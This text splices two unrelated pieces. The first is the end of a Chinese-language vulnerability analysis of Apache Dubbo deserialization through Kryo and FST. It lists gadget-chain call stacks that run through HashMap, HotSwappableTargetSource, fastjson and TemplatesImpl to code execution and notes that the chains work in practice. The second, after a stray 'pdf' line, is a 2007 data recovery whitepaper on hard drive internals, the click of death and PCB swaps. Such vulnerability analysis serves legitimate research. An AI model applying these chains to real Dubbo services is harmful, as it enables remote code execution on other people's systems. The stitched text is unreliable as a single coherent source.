ExchangeCodec (org.apache.dubbo.remoting.exchange.codec) 26 decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo) 27 decode:90, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.tran sport.netty4) 28 decodeRemovalReentryProtection:502, ByteToMessageDecoder (io.netty.handler.c odec) 29 30 /*获取到数据并传入到调用链中*/ 31 callDecode:441, ByteToMessageDecoder (io.netty.handler.codec) 32 channelRead:278, ByteToMessageDecoder (io.netty.handler.codec) 33 invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel) 34 invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel) 35 fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel) 36 channelRead:1408, DefaultChannelPipeline$HeadContext (io.netty.channel) 37 invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel) 38 invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel) 39 fireChannelRead:930, DefaultChannelPipeline (io.netty.channel) 40 read:163, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio) 41 processSelectedKey:682, NioEventLoop (io.netty.channel.nio) 42 processSelectedKeysOptimized:617, NioEventLoop (io.netty.channel.nio) 43 processSelectedKeys:534, NioEventLoop (io.netty.channel.nio) 44 run:496, NioEventLoop (io.netty.channel.nio) 45 run:906, SingleThreadEventExecutor$5 (io.netty.util.concurrent) 46 run:74, ThreadExecutorMap$2 (io.netty.util.internal) 47 run:30, FastThreadLocalRunnable (io.netty.util.concurrent) 48 run:748, Thread (java.lang) 0x04-3_2 FST反序列化反序列化 这一条的具体调用流程和sink点都和Kryo是一样的,基本上还是获取到数据后解密并根据 传递过来的序列化方式来进行对应的反序列化操作,FstObjectInput.java的readobject方法将 获取的值传递到了不同包的同名函数的同名方法中处理,这里在fst-2.48-jdk- 6.jar!\org\nustaq\serialization\FSTObjectInput.class中对传入数据进行了多个函数的调 用,我们的关键点自然和上两个协议一样,找到调用FST协议对Map显然也用了专门的反序列化 器,也就是FSTObjectInput中的instantiateAndReadWithSer的方法,这里调用了FSTMapSerializer 中的instantiate方法 我们跟进方法,这个方法还是很清晰明了,for循环中不断反序列化还原出key和value,再用 map.put将key和value还原,显然和上面Kryo对HashMap的触发链一样,后续也是一样的 然后进入到HotSwappableTargetSource的equals方法。。。后续师傅们就看上面就可以了 基本的调用链如下 1 getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsl tc.trax) 2 newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.tr ax) 3 getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsl tc.trax) 4 write:‐1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer) 5 write:270, MapSerializer (com.alibaba.fastjson.serializer) 6 write:44, MapSerializer (com.alibaba.fastjson.serializer) 7 write:280, JSONSerializer (com.alibaba.fastjson.serializer) 8 toJSONString:863, JSON (com.alibaba.fastjson) 9 toString:857, JSON (com.alibaba.fastjson) 10 equals:392, XString (com.sun.org.apache.xpath.internal.objects) 11 equals:104, HotSwappableTargetSource (org.springframework.aop.target) 12 putVal:635, HashMap (java.util) 13 put:612, HashMap (java.util) 14 15 instantiate:79, FSTMapSerializer (org.nustaq.serialization.serializers) 16 instantiateAndReadWithSer:497, FSTObjectInput (org.nustaq.serialization) 17 readObjectWithHeader:366, FSTObjectInput (org.nustaq.serialization) 18 readObjectInternal:327, FSTObjectInput (org.nustaq.serialization) 19 readObject:307, FSTObjectInput (org.nustaq.serialization) 20 readObject:102, FstObjectInput (org.apache.dubbo.common.serialize.fst) 21 decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) 22 decode:73, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) 23 decodeBody:132, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo) 24 decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec) 25 decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec) 26 decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo) 27 decode:90, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.tran sport.netty4) 28 29 decodeRemovalReentryProtection:502, ByteToMessageDecoder (io.netty.handler.c odec) 30 callDecode:441, ByteToMessageDecoder (io.netty.handler.codec) 31 channelRead:278, ByteToMessageDecoder (io.netty.handler.codec) 32 invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel) 33 invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel) 34 fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel) 35 channelRead:1408, DefaultChannelPipeline$HeadContext (io.netty.channel) 36 invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel) 37 invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel) 38 fireChannelRead:930, DefaultChannelPipeline (io.netty.channel) 39 read:163, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio) 40 processSelectedKey:682, NioEventLoop (io.netty.channel.nio) 41 processSelectedKeysOptimized:617, NioEventLoop (io.netty.channel.nio) 42 processSelectedKeys:534, NioEventLoop (io.netty.channel.nio) 43 run:496, NioEventLoop (io.netty.channel.nio) 44 run:906, SingleThreadEventExecutor$5 (io.netty.util.concurrent) 45 run:74, ThreadExecutorMap$2 (io.netty.util.internal) 46 run:30, FastThreadLocalRunnable (io.netty.util.concurrent) 47 run:748, Thread (java.lang) 简单拓展下: 作者说可以不依赖fastjson链子触发,我也试了rome等链子,都是可以成功触发的,毕竟 sink点可以结合其他链子去打,但是不依赖任何链子的那个可能性,我还需要更多的学习无论 是codeql还是更多源码才能找到。 0x04-4 漏洞利用方面(实战方面) 这个洞和上面hession协议的反序列化流程还是很相似,应该实战理论上还是很常用的(个 人见解,毕竟我还是个没毕业的小白 0x05 感想 emmmmm,怎么说呢,自从因为一些学校的事离开长亭回到家后才发现在那边的学习效率真 的会高很多,不过总是要自己学习的,自学的习惯还是要慢慢养成的,文章尽我所能的写吧, 毕竟也确实感觉写文章会更加仔细的学习一个漏洞,正如木头师傅说的,我们站在这些巨人师 傅的肩膀上可以更快的成长,也可以看向更远的未来,这里引用我之前一直外包的公司的一句 话{为守护中国安全而战【嘿嘿(狗头)】}
pdf
SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 1 of 22 Data recovery is necessary when source material fails and where no good backup exists, either Physical or Logical. There are two types of data recovery in the standard basic sense. One type of data recovery is when there is damage to the media and the pre-existing data need to be retrieved. This will usually require the media to be repaired. The second form of data recovery is when files were purposely or accidently deleted. When this type of data recovery is necessary there is usually no damage to the media and standard software can be used to recover the data. This is the process that most software performs. Very few software programs understand damaged media. Because most software relies on calls and functions from the operating system for its input, it has no control itself over error correction or any functions that the operating system performs on the drive. I believe there a four phases to any data recovery. Four Phases of Recovery 1. Repair the Hard Drive so it is running in some form, usually requiring hardware or special equipment. 2. Image, Copy or recover the physical drive and sectors primarily by bitstream imaging. If the drive is functioning, it is possible to do this with software, however there are some hardware solutions that work very well; i.e. DeepSpar Disk Imager. This is a situation where some software is better than others, such as dd_rescue (use with dd_rhelp script) on a Linux system has a special feature that allow it to image backward (understanding why you need to image backwards is very important in data recovery). 3. Perform Logical Recovery of files, partition structures, or necessary items; usually this is by software and is the most common type of application sold. 4. Repair of files that might have existed in damaged space or sectors to recover what is possible. This is usually the requirement in Forensics to be able to re- assemble data to display what was there, if whole or not. This is also applied in data recovery for corrupt Word and Excel documents. The hard drive knows nothing about your files and is not aware in any way of the content. That is the job of the Operating System (OS from here on). When the OS asks for a file, the OS will request a logical block from the drive; the drive will translate that to the physical location in CHS. An example is that it might request data from Cylinder 2500 at head 2 located on sector 234. The drive has many spare sectors and sometimes spare tracks to be used to compensate for errors and relocation of data. NOTE: Look at $BadClus on a NTFS File system for what the OS thinks is bad. Slide XXX: To begin with, I would like to discuss a few new items in data recovery that I am working on. Recovering data from USB flash memory sticks. I have begun experimenting with flash drives by removing the chips and moving them to a new flash drive to recover the data. As we are all aware, solid state is going to overtake the hard drives soon rather than later. Right now SanDisk is making a 32 gig hard drive replacement for laptops that is completely solid state and you can currently buy (for less SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 2 of 22 than $200) a memory stick that is 16 gigs. From the evidence shown it is extremely probable that technology will advance more towards solid state data storage due to its reliability and low power consumption. A major downfall of flash memory is that it can only be erased one block at a time. A block of flash memory chip can only be erased a certain number of times before the block will fail. Usually this number is something in the neighborhood of 1 million erase- write cycles before it will die. Reading and writing to the chips will wear out the blocks quickly if it was just raw memory. To prevent this from happening too quickly there is an operating system that controls the placement of data on the chip. The chip counts a number of writes and spreads the data between different sectors to minimize the same block being written too often. This process is called wear leveling. Without wear leveling, a memory stick that is used constantly would die in a few weeks. With the use of wear leveling it is estimated that the memory stick could last 50 years or more. In order to repair a memory stick, you have to find as close to an exact match of the same board and unsolder the undamaged chips from the board and mount them onto new board. It does not work every time, but I have been successful at it several times. This is a process I am still developing and as I discover more about memory stick repair and what you can do to recover data I will release additional info. I am hoping to meet someone that works at SanDisk to hopefully answer a few questions about TrueFFS, so if you are one reading this please contact me. TrueFFS Notes For emulating a hard disk interface, Flash Disk requires software a management layer. M-Systems developed the TrueFFS its Flash File System management technology that allows flash components to fully emulate hard disk. Allowing it to read and write like any other hard disks. TrueFFS Software simplifies and enhances Flash memories by: • Using Third generation wear leveling - wear leveling ensures that all blocks are erased an equal number of times, which increases the life of the product by orders of magnitude. • Using virtual blocking of the flash device to make the large erase blocks transparent to the operator. • Automatically mapping bad blocks So that is the new flash memory stuff and I will keep you updated in the future. Now on to hard drives. SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 3 of 22 In a previous speech here at Defcon 14, I gave the basic inner workings of a hard drive and several ways you can repair it. I am sure that you can get that previous speech on DVD, find it on the web, or on www.myharddrivedied.com and it will give you a large amount of info that I am not going to discuss here today. Additionally, there is a whitepaper on the CD that includes more data and notes about repairing a hard drive. Since my last speech one of the most common questions I get everyday is “What is that clicking noise? How do I fix it?” This is not a simple problem by any means. So my goal today is to give you more insight into the inner workings your hard drive and explain how this problem occurs and what you might be able to do to fix it. Slide 1208: In this speech we are looking at the platter assembly where the heads are located, through the area of the preamp and the IC Logic Board down to the PCB. This is the area that affects what is causing the clicking noise that you hear. I am now going to explain how each of these things works and walk you through the drive functions. Part of what causes this clicking problem is related to the power on routine functions. The boot sequence of a drive is as follows: 1. Power on chip returns status 2. Self check 3. Spindle spin up 4. Un-mounting heads from rack 5. Servo timing reads - firmware 6. SA reading - firmware 7. Firmware extensions reading 8. Error – read SA from other secondary copies Slide 1289: The first thing a hard drive will do after it receives power is check for a return status from it’s chips to make sure the electronics are functioning. Then the drive will begin the self-check of its parts and wait for a return status. If both status checks are returned then the drive continues on to the next step and spin up the spindle. Slide1389: The drive begins to spin the spindle or as you would see, the platters begin to revolve. When the platters begin to revolve the air flow around the platter creates a force that is called an air bearing. This air bearing will fling off debris on the platters such as any dust particles or metal fragments from the standard operation of the drive. This air bearing also causes the plastic locking arm mechanism to move out of the way as soon as there is enough air flow for the head to float. Without that airflow the arm is locked in place and will not move over the platter. This is a way to protect the platter from the head touching the platter and causing physical damage. The opposite is true during a power down. When power is cut to the drive, during the last revolutions of the motor, it generates enough power to move the head back to it park position. Because of this, as you can imagine, if you get enough power on and power off cycles in a row it SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 4 of 22 is possible for the head to be stuck in the center of the platter and never to be parked correctly causing several types of damage. In certain 80 gig laptop 2.5” inch drives it is common for the head to be stuck to the center of the platter, never having parked and keeping the platters from spinning. In most cases there is very little damage if the drive is opened and manually turned slow enough not to damage the head, and the data can be recovered, obviously never using this drive again. Slide 1483: At this point, if the all has proceeded correctly the air bearing will allow the head to float over the platter allowing it to move freely without scratching the surface of the platter. Slide 1545: At this point, if the head is reading the Servo Timing info from the platter and relaying it to the circuitry so the controller knows the geographic information for the placement of data. (See previous speech at Defcon 14 for discussion about Voice Coil and stepping motors to understand the servo info). SERVO DATA Servo sections are ARC shaped sections that store the location and geographic info for each sector. A Split Sector is a sector that is interrupted by the servo info. Slide 1679: At this point the head moves to the System Area (SA) of the platters and reads the content that it requires as well as any additional firmware and overlays. Most of the time, the system area is on the outer tracks – the extreme outer edge. This is chosen by the manufacturer but is most common on the outside on 3.5 and is sometimes written to the inside tracks on a 2.5” inch drive. System Area Information Common Names 1. System Area 2. Maintenance Tracks 3. Negative Cylinders 4. Reserved Cylinders 5. Calibration Area 6. Initialization Area 7. Diskware Slide 1781: What is in the System Area Info. Each category is called a Module and is a UBA block. 1. Smart Data 2. System Logs 3. Serial Number SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 5 of 22 4. Model Numbers 5. P-List (Primary Defects List – i.e.: manufacture defect info that does not change) 6. G-List (Grown Defects Lists – sector relocation table) 7. Program Overlays – Firmware, Executable Code, or updates 8. Specific Tables like RRO – (recalibrate repeatable run-out and head offsets) 9. Zone Tables 10. Servo Parameters 11. Test Routines 12. Factory Defaults Tables 13. Recalibration Code Routines 14. Translator Data a. Converts Logical and Physical Address to locations on the drive b. Heads and Track Skewing Info 15. Security Data Passwords for drive – possible encrypted info. System Area or System info notes 1. Usually there are two or more copies on different platters of the drive 2. Most of the time system info is on the Outer Tracks – Extreme Outer Edge 3. If info is corrupt it can be copied from the second one to make the drive operable 4. System Log Info can be written here 5. SA – Not Uniformed or standard in any way, 6. Completely different per drive and per drive family 7. Can sometimes be copied from similar drives or drive families using special tools 8. The smaller the amount of data stored in the SA, the more likely it is to replace with parts, PCB’s and heads. **** PCB = Printed Circuit Boards Slide 1816: The System Area is made of UBA Modules (Utility Block Addressing) which are sector blocks logically grouped together that contain a specific MODULE. Each UBA block might be different per a drive manufacturer. The UBA # might be Smart Data on one drive and a different type of data on another drive. The UBA area is inaccessible over the standard interface. Most of the commands to talk to the UBA modules are vendor specific and which is generally not made publically available. There are certain pieces of hardware that can be used to communicate with this area such as the PC3000. SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 6 of 22 For example: In the UBA 1 Area it could be a Bad Block List. As larger drives have been created there has been a need for larger bad block areas. So this might be expanded from two sectors in a previous drive to three sectors in a newer drive. But the firmware for the drive can still refer to each of them as UBA 1 and does not have to have any changes made to the code in the firmware regardless of the size change. Slide 2221: When the drive is manufactured it is known that there is going to be errors in every drive. Drives use ECC to correct most errors and if ECC can correct the error then the sector is never marked as bad. If it is marked as bad, the drive puts the data in a bad block list. Most people know that their hard drive has a bad block table. What most people do not know is that their drive has TWO bad block tables. 1. P-List (Primary Defects List – manufacture defect info that does not change) 2. G-List (Grown Defects Lists – sector relocation table) The G-List is where the bad blocks that your drive has on a daily basis are stored. Since the P-List is done at manufacturing time that list is never suppose to change. There is a very important reason to know about both lists in a low level recovery which I will explain when we get to the repair section. There are certain utilities that can read, delete, merge and change this data. ECC Notes and Issues ECC structured redundancy up to 200 bits of 256/512 in a sector-CRC–Scrambled Bits- RLL adds bits to cause pulses and Parity When data is written to the drive it is encoded. The actual data itself is never written, only the interpretation of the data. If you are thinking that a drive contains 0’s and 1’s then you are thinking about it incorrectly. The data is more like a wave form being written to the drive. It has to be interpreted back on its way out before it becomes a 0 or a 1. Before the data is written the data is randomized. This eliminates patterns that might be the same so that ECC is not confused. It is difficult to do pattern detection on a pattern that appears over and over. EMI can be reduced and have less effect on the bit storage and the timing controls. The drive tries several different ways to re-read the data before giving up, most of them using ECC. It is possible for ECC to improperly correct data under certain circumstances if the data occurs in a certain order. ECC read commands use ODD numbering of at least 3 so as not to cause a 50/50 chance in the selection of 2. SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 7 of 22 Read ignoring ECC is an LBA 28 command “Read Long” and it was disabled in 48 bits as it was determined to be obsolete in drives over 137 gigs. No Read Ignore ECC is available after 137 gigs. Standard attempts are tried and usually are 10 tries in most hard drives. Reading a drive ignoring ECC can cause possible corruption in the data, but sometimes it is the only way to get the data in those sectors if there is a problem with the PCB or the ECC cannot read the data correctly. If the Sector is determined to be unreadable by the ECC encoder then the sector is retried again. Reed Solomon in conjunction with sector rereads is expecting to fix data errors for the ECC. Parity bits are stripped off. Slide 2422: The cylinder structure is extremely important because there are people believe they can just take the platters out and move them to a new drive. This is true you can do this, but you have to move all platters simultaneously. The reason is because data is written in a cylinder. Most people have heard the term cylinder in reference to their hard drive, but they have no idea what that means. Writing in a cylinder means that data is written in parallel due to the fact the heads are always moving together in the same stack. To make it more efficient data is written on the top of a platter and the bottom of the platter and the next platters and so on, at the same time. Your data is NOT written on the top of one platter and when that gets full then written to the next platter. It is written across all the platters at the same time, making a cylinder of your data. Most data recovery software will scan an entire hard drive and then display a list of files and directory trees you can recover from. However, if there is a lot of damage to the drive, the scanning may never finish or it might die/kill it in the process. If you have smart software and you can figure out where your partitions start and where the MFT or FAT tables might be, you stand a better chance of getting the data you are looking for. If a standard utility was used to create the partition then the partition structure will begin on a cylinder boundary. Again, your partition will begin on a Cylinder Boundary. Software like Byteback (www.byteback.org) RecoverSoft Media Tools Pro (www.recoversoft.com), and Runtimes Disk Explorer (www.runtime.org) are smart enough to know the data exists on the cylinder boundary and will quickly check without you have to scan the whole hard drive and possibly saving your drive from disaster during the scan. There certainly are times that scanning will be required but it is best if you can avoid it except in an imaging process. Slide 2585: The MR (magnetoresistive) head of the hard drive you can think of as the head of the 90’s. If you remember how reliable the drives were before 2000 it is mostly SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 8 of 22 because of this head and the density of the platters. This head was used on drives mostly before we crossed the 10-20 gig barriers. The MR head could determine if a bit passed under it. When data passed parallel to the head, the head could detect the “MR Effect” due to movement of electrons causing the magnetic field to rotate positive and negative values. Slide 2840: The GMR (giant magnetoresistive) head is the current head used on most hard drives. This head uses high end physics I do not claim to understand. The only major difference is the way the head has been changed to read perpendicular. The GMR head has four layers, a sensing layer, a conducting layer, a pinned layer and an exchange layer. It was discovered that if you took two magnetic layers and aligned them opposite each other with a soft layer between them that the magnetic force would align themselves in parallel. When a bit of data passes under the heads the electrons bounce around in the layers causing the pinned layer to spin. For more info, read http://www.hitachigst.com/hdd/technolo/gmr/gmr.htm Slide 2865: Hard drives have switched to Perpendicular Recording. I talked about the changes and previous versions last year and you can reference that speech for more info. The biggest change switching to perpendicular is that the data is written up and down instead of longitudinal. Because of this, changes had to be made to the platter so it would not interfere with reading and writing. Slide 2885: The coatings have changed and the substrate on the bottom (the platter itself) was the biggest change. Almost every platter has converted to a glass ceramic platter. What this means to you in data recovery is that it is obvious when a scratch occurs. In most cases you will be able to see though the platter. Sometimes the rings that are created by the scratch are so smooth that they look like they are supposed to be there. I assure you that they are not. It should be silver from one edge to the other with no rings at all. So if you see a ring, in most cases the game is over or your recovery just got a lot harder. Slide 3000: The data structure that is written to the sectors is important to understand if you are using any diagnostic software. Many of them use common nomenclature to discuss the types of errors. Common Error Codes and Diagnostic Info from Most High End Software: § BSY – drive busy § DRDY – Drive ready to accept commands § ERR - The Last Result was an Error § DREQ -exchange data with host § UNCR-Uncorrectable Error § WRFT - Write Fault § AMNF-Address Marker Not Found § IDNF- Sector ID Not Found SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 9 of 22 § ABRT- Command Aborted § TONF - Track 0 not found Notes for Diagram for Info on a Sector: Draft Drawing for Slide Heads use servo info to identify the correct track. Then the heads read each and every sector ID block to determine if it is the correct one using the “translator.” If the ID field is corrupt there is nothing to identify what the data is looking for and it will flag the IDNF (ID Not Found) error. If it finds the correct sector ID, the heads then would read the Address Marker for the 512 bytes of data that go with that location. If this info is corrupt then the heads cannot locate the beginning of the data and will return the AMNF (Address Marker Not Found) error. An AMNF error means that the ID Marker info WAS found but that the data in the markers SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 10 of 22 that goes with that address were NOT found, again losing 512 bytes of user data. After the data is written, a 4 byte block of ECC data is written. After the 512 bytes are read the drive will calculate the ECC Info and reads the ECC blocks of data and compares them. If they are not equal then the drive re-reads the data until timeout occurs causing the ECC data error. If it is not able to re-read and correct the error it will cause the UNC flag to state that the data in error is uncorrectable. It is possible to do a data recovery ignoring ECC but you will have no way to verify that the data read was correct. This should be done as the last phase to capture the data that could not be read any other way. You will see the error codes here in almost all data recovery and diagnostic software. This particular block of data (slide 3259) is one single sector. It contains a 512 byte block of data. This is how on sector looks to every hard drive regardless of your operating system. I could not possibly explain every error you will see, but I can give you the basics of the most common you will see doing diagnostics. • IDNF is the Address not found. If the sector that holds this information is corrupt there is no way for the hard drive to locate this sector and it will return the result IDNF. • AMNF is the Address Marker Not Found. This is similar to the IDNF but relates to the data. If there is an error and this marker is corrupt then the data for this sector cannot be located. The data in this area is 512 bytes of user data. • ECC is that there is a problem reading from ECC and it does not match. ECC is used to check the integrity of the data being read. When the data is read the drive calculates the ECC and compares. If there is an error the drive will retry until it cannot get a correct result and then will return the UNC error. • UNC will happen when the data is uncorrectable data error. • ABRT is an abort error and it will discontinue trying to read that block. Slide 3559: The preamp is a chip that amplifies the signal coming from the heads of the drive. Since the data that is read coming from the heads is similar to a wave form from a SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 11 of 22 speaker, the preamp will amplify it and send it on to the electronics for decoding. There are two types of preamps, one is soldered on, and the second is glued on. It is often possible for a preamp to come loose due to heat expansion and not to have a good connection to the board. It is also possible for the preamp to fail. This is one of the causes of the click of death for the hard drive. It is often difficult to replace or fix this circuit and is more likely you can do a platter swap to a good drive, or replace the head stack assembly. The voice coil was mentioned in previous information at Defcon 14. Click of Death and Hard Drives Safe Mode Notes Errors cause the drive to constantly shutdown and recalibrate, this is a sound or movement that can usually be heard or seen and is known as the Click of Death for hard drives. If drive parts are good then rewriting the SA area is the part that needs repairing. The difficultly is in knowing if the rest of the parts are good. The SA can only be rewritten by a few devices. There are a few ways to get around this; one of the ways is a live PCB swap. Again the SA is not accessible over the interface without special tools. Most hard drives have a specific recalibration routine they use to retry the SA area. Even though it cannot be read most drives will continue this routine. A few drives will, after a certain number of times automatically power down. The normal timing routine for this process is: • Two head clicks • power down • two head clicks again ** Some drives will perform three head clicks before powering down. Maxtor drives will test all heads from 0 to F; it must come out to level F, or stop the spindle. The problem of Quantum drives of all series (including last series — known as Maxtor D540X and D740X) can be detected by the specific sounds: after starting, there will be two loud clicks, then drive’s motor will increase its speed, and there will be 4 more clicks, after which the drive will become “ready”. For Western Digital a dead preamplifier is also detected by the specific sounds: after two loud clicks the drive will stop the spindle. If you have a clicking Maxtor then heads malfunctioning is characterized with a continuous clicking for over 30 seconds. Samsung drives with a dead preamplifier also click two times and then stop the spindle; however, for Samsung drives it can also mean problems with reading of the critical modules of the system area. Hard Drives Safe Mode SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 12 of 22 Can be done by setting jumpers in case a module is damaged or some drives can detect it and go into safe mode itself. In safe mode the drive bypasses its own firmware and is waiting for firmware to be uploaded to ram. The RAM code is called the loader and will start the drive operations. It is possible for the hard drive to go into safe mode all by itself if it detects a problem. You will never know this is happening on purpose. Some software like MHDD might be able to tell you if your drive is in safe mode. You will never be able to recover data until this problem is solved and it is not running in safe mode. When it is running in safe mode it will sound like the Click of Death on most hard drives. Diagnostic software called MHDD or Victoria http://hddguru.com/content/en/software/2005.10.02-MHDD/ MHDD Software commands and functions: • Erase Waits:- It is better to use this for Drive Repair but it is data destructive • HPA :- Host Protected Area Functions • REMAP: - Try to recover bad sectors • Standby: - turn the motor off • PWD: - User Password INFO • Dispwd: - disable the password • Fdisk: can make one full size fat 32 drive Slide 3791: The cause of the click is from four possible areas, all resulting in the SA not being able to be read. 1. System Area of the drive cannot be read because the platter is scratched. 2. The head itself has a problem and cannot read the SA area. 3. Preamp on Actuator to the Head has gone bad and is not passing the correct signal to the electronics 4. The firmware on the board is damaged and does not initialize. This is sometimes caused by static electricity walking across the carpet to install the drives, or there is a short on the board, and additionally I see where someone has allowed the board on the bottom of the drive to touch metal cause it to burn. All will result in the same problem and will sound like the Click of Death. Recovery Software will not help you correct any of these until after you have repaired the drive and it is running again. Correcting Problems SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 13 of 22 Now we move on to some of the things you can do about it on your own. The click of death is a very difficult problem to solve and in some cases will not be able to be solved especially without some very high end and expensive equipment. But I will tell you what I have been able to fix without that equipment. Slide 4009: Swapping the PCB (printed circuit board) Live to get around a SA area that cannot be read. I have done this process several times successfully. It is not perfect but it is a possible chance you will have to recover your data. The first step is to get a hard drive as close to identical as the bad drive you have that is a working drive. At the bottom of this paper you will find help about matching hard drives and serial numbers. If the System Area is badly damaged or corrupt and for some reason the drive will not read the System Area you can attempt to do a live swap. What this means is that you can hook up the good drive, then you use software or windows and tell the drive to go to sleep. This will cause the drive to spin down but will still be live and powered up and mounted. Once the drive goes to sleep and the drive stops spinning you can unscrew the board, carefully so as not to let the screws roll around on the board, and disconnect the board and connect it to the bad drive. I suggest that once you do this, you go after the files you need very quickly. It’s possibly you will be able to make an image of the drive. Keep in mind, that whatever bad blocks that the drive had assigned to the other drive will be bad here as well. You could try to use some software to clear bad blocks before attempting this, however I don’t suggest it in most cases. That is because it is one more possible item that might cause failure. I would prefer to use the drive that was working and lose a few blocks. After you get what you can then you can attempt to make changes and go back for more data. This is a concept that works about 25% of the time. Slide 4199: Imaging in Reverse In dealing with damaged hard drives, I have run into many problems with cache memory on the drive. The problems will often show up as timeouts or ECC failures as well. For example, I try to read from a drive with16 megs of ram for cache and receive errors but the drive is otherwise appears ok. If there is an error 16 megs away from the sector I am reading my drive will die. As of now there is no way to turn off this cache. However, if you can image your drive backwards there is no cache. Memory on a drive only caches data forward. There are only three ways I know of to image a drive backwards. The first is free, and it is to use dd_rescue. dd_rescue has a special setting for imaging a drive backwards. There is also a special script for dd_rhelp to control dd_rescue for the purpose of data recovery. You can use this on Linux and it works on drives regardless of the operating system on the drive you are recovering from. Typically you will start at the MaxLBA number and work backwards down to 0 LBA. It works quite well and will work on a surprising number of drives that cannot be read any other way. Your other two choices are Media Tools Pro from RecoverSoft (http://www.recoversoft.com/) for Windows, which is about $400, or a piece of hardware which is extremely efficient at doing this type of recovery called Deepspar Disk Imager SCOTT MOULTON’S SPEECH RESEARCH MATERIAL AND NOTES ON DATA RECOVERY www.ForensicStrategy.com|www.MyHardDriveDied.com Copyright © June 2007 by Scott A. Moulton @ Forensic Strategy Services, LLC. All rights reserved. Data Recovery Whitepaper – Rev 17 Page 14 of 22 (http://www.deepspar.com/products-ds-disk-imager.html), which will cost between $3000 and $4000 depending on configuration. But you should contact each of these vendors for pricing, or use the free option! Slide 4259: Head Replacement Section This is the only section from last year I kept and it is because this is directly related to fixing this click of death problem. NOTE: If there is only one platter it might be easier to move the platter than to move the assembly. You have to make that choice. List of items needed: 1. The first step is to get a hard drive as close to identical as the bad drive you have that is a working drive. At the bottom of this paper you will find help about matching hard drives and serial numbers. 2. You need a clean area to work on with as little dust floating around as possible. 3. You will need about 3 hours to do this carefully 